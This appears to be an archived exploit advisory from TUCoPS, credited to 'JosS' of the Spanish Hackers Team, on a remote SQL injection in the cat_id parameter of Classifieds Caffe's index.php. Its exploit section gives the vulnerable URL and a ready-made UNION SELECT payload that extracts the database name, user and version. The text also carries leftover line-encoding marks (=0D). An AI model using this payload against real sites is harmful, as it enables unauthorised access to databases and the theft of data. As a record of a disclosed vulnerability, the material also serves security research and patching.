TUCoPS :: Web :: e-commerce, shopping carts

TUCoPS :: Web :: e-commerce, shopping carts :: bx2838.htm
Classifieds Caffe (index.php cat_id) Remote SQL Injection

Classifieds Caffe (index.php cat_id) Remote SQL Injection Classifieds Caffe (index.php cat_id) Remote SQL Injection


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--=0D 
--==+               Classifieds Caffe (index.php cat_id) Remote SQL Injection            +==--=0D
--==+====================================================================================+==--=0D
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]=0D
=0D
[+] Info:=0D
=0D
[~] Software: Classifieds Caffe=0D
[~] Exploit: Remote SQL Injection [High]=0D
[~] Where: index.php=0D
[~] Bug Found By: JosS=0D
[~] Contact: sys-project[at]hotmail.com=0D
[~] Web: http://www.spanish-hackers.com=0D 
=0D
[+] Exploit:=0D
=0D
[~] /index.php?action=add&cat_id=[SQL]=0D
[~] 7'+union+all+select+0,1,convert(concat(database(),char(58),user(),char(58),version()),char),3/*=0D
=0D
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--=0D 
--==+                                       JosS                                         +==--=0D
--==+====================================================================================+==--=0D
                                       [+] [The End]